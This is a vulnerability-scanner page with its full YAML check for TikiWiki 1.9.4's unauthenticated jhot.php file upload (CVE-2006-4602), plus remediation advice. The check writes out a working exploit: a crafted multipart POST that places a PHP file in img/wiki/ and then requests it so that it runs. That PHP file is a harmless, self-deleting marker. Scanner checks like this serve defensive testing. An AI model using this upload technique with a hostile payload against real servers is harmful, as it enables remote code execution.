TikiWiki — 1 vulnerability check
noctis ships 1 vulnerability check for TikiWiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TikiWiki <= 1.9.4 jhot.php unrestricted file upload — PHP code execution
| CVE | CVE-2006-4602 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/tikiwiki/CVE-2006-4602.yaml |
Tests TikiWiki CMS/Groupware 1.9.4 and earlier for the unrestricted file upload in jhot.php, the upload handler of the JHot drawing applet: it stores the file posted in the "filepath" field under img/wiki/ in the web root without authentication or extension check, so a PHP file runs as code. The test requests jhot.php and, when it answers, posts a one-line PHP file that prints a per-run arithmetic marker and deletes itself, then requests it from img/wiki/: the computed marker confirms that the uploaded file ran as PHP code. When the file is instead served back verbatim, a lower-confidence finding reports the unauthenticated upload. The web root, /tiki, /tikiwiki, /tiki-wiki and /wiki are tried.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/jhot.php - HTTP(S) request
POST {{base}}/jhot.phpwith a crafted body - HTTP(S) request
GET {{base}}/img/wiki/noctis{{m.tok}}.php - Parses / computes the next value with a Rhai script
- Checks
run.bodyforNOCTIS[0-9]+END→ finding QoD 97: TikiWiki <= 1.9.4 PHP code execution via unrestricted jhot.php file upload - Checks
run.bodyforNOCTIS'\.\(→ finding QoD 75: TikiWiki <= 1.9.4 unauthenticated file upload through jhot.php
References:
Feed source — tests/vulnerabilities/tikiwiki/CVE-2006-4602.yaml
# TikiWiki CMS/Groupware <= 1.9.4 (Sirius) — jhot.php, the upload handler of the JHot
# drawing applet, stores the file posted in the "filepath" multipart field as
# img/wiki/<filename> under the web root, with no authentication and no extension
# check; a .php file runs as PHP when requested (CVE-2006-4602). Fixed in 1.9.5.
#
# Detection (for each candidate base: the web root, /tiki, /tikiwiki, /tiki-wiki, /wiki):
# 1. GET <base>/jhot.php must answer 200 (the script exists).
# 2. Real, benign exploitation (QoD 97): POST <base>/jhot.php a multipart "filepath"
# file noctis<tok>.php holding a one-line PHP script that prints NOCTIS<a+b>END
# (the source holds "a+b", never the sum) and deletes itself, then
# GET <base>/img/wiki/noctis<tok>.php.
# 3. Fallback (QoD 75): the file is stored and served back verbatim (PHP is not run in
# img/wiki/): the unauthenticated arbitrary upload is still there. The probe file
# then stays on the target (no delete action exists); the evidence names it.
#
# Better than the NASL (2012/gb_tikiwiki_jhot_remote_cmd_exec_vuln.nasl, which uploads
# a phpinfo() file and leaves it behind): the proof is a computed marker from a
# self-deleting file, so a server that serves the source as text or answers 200 for
# every URL is not reported as code execution; candidate install paths are tried
# instead of relying on a prior detection.
#
# CVSS: NVD has only a v2 score for CVE-2006-4602 — 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_tikiwiki_jhot_remote_cmd_exec_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802946, GPL-2.0-only).
uid: 81a888e5-2ddf-49ea-afb5-9b689c25d758
name: "TikiWiki <= 1.9.4 jhot.php unrestricted file upload — PHP code execution"
description: |
Tests TikiWiki CMS/Groupware 1.9.4 and earlier for the unrestricted file upload in
jhot.php, the upload handler of the JHot drawing applet: it stores the file posted
in the "filepath" field under img/wiki/ in the web root without authentication or
extension check, so a PHP file runs as code. The test requests jhot.php and, when it
answers, posts a one-line PHP file that prints a per-run arithmetic marker and
deletes itself, then requests it from img/wiki/: the computed marker confirms that
the uploaded file ran as PHP code. When the file is instead served back verbatim, a
lower-confidence finding reports the unauthenticated upload. The web root, /tiki,
/tikiwiki, /tiki-wiki and /wiki are tried.
cves: [CVE-2006-4602]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [tikiwiki, php, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2006-4602"
- "https://tiki.org/"
- "OpenVAS/Greenbone NASL 2012/gb_tikiwiki_jhot_remote_cmd_exec_vuln.nasl (GPL-2.0-only)"
steps:
# Per-run file name token and arithmetic operands.
- id: mint
action: script
code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-sum
action: script
code: 'm.a + m.b'
store_as: sum
# Loop group: every step below runs once per candidate base. Pre-initialise every
# stored result the scripts read (an undefined variable would abort the test).
- id: init-probe
action: set_var
var_name: probe
var_value: {status: 0, body: null}
loop:
over: ["", "/tiki", "/tikiwiki", "/tiki-wiki", "/wiki"]
var: base
- id: init-up
action: set_var
var_name: up
var_value: {status: 0, body: null}
- id: init-run
action: set_var
var_name: run
var_value: {status: 0, body: null}
- id: jhot-probe
action: http_request
method: GET
path: "{{base}}/jhot.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: probe
# Benign exploitation: upload a self-deleting PHP file that prints NOCTIS<a+b>END.
- id: upload
action: http_request
method: POST
path: "{{base}}/jhot.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "probe.status == 200"
headers:
Content-Type: "multipart/form-data; boundary=----noctisCVE20064602"
body: "------noctisCVE20064602\r\nContent-Disposition: form-data; name=\"filepath\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: image/jpeg\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20064602--\r\n"
store_as: up
- id: run-upload
action: http_request
method: GET
path: "{{base}}/img/wiki/noctis{{m.tok}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "probe.status == 200 && up.status == 200"
store_as: run
# Executed only when the computed sum comes back (the source holds "a+b", not it);
# served verbatim when the uploaded source itself comes back.
- id: run-verify
action: script
code: |
let b = run.body;
if type_of(b) != "string" || run.status != 200 { #{ rce: false, raw: false } }
else {
#{
rce: stridx(b, "NOCTIS" + sum + "END") >= 0,
raw: stridx(b, "'NOCTIS'.(" + m.a + "+" + m.b + ")") >= 0
}
}
store_as: rv
- id: rce-match
action: match
source: run.body
pattern: "NOCTIS[0-9]+END"
condition: "rv.rce == true"
on_match:
stop: true
finding:
title: "TikiWiki <= 1.9.4 PHP code execution via unrestricted jhot.php file upload"
confidence_delta: 0.65
qod: 97
evidence: "PHP upload confirmed: POST {{base}}/jhot.php stored noctis{{m.tok}}.php, and GET {{base}}/img/wiki/noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself)."
remediation: "Upgrade TikiWiki to 1.9.5 or later (current Tiki releases no longer ship jhot.php). Until then, delete jhot.php, and stop img/wiki/ from running PHP."
# Fallback: the file is stored by the unauthenticated upload and served verbatim.
- id: raw-match
action: match
source: run.body
pattern: "NOCTIS'\\.\\("
condition: "rv.raw == true"
on_match:
stop: true
finding:
title: "TikiWiki <= 1.9.4 unauthenticated file upload through jhot.php"
confidence_delta: 0.45
qod: 75
evidence: "POST {{base}}/jhot.php stored a PHP file without authentication, and GET {{base}}/img/wiki/noctis{{m.tok}}.php served the uploaded source back verbatim (PHP is not run there, but arbitrary files can be placed in the web root). The test file img/wiki/noctis{{m.tok}}.php (harmless, prints a marker) remains and should be deleted."
remediation: "Upgrade TikiWiki to 1.9.5 or later (current Tiki releases no longer ship jhot.php). Until then, delete jhot.php."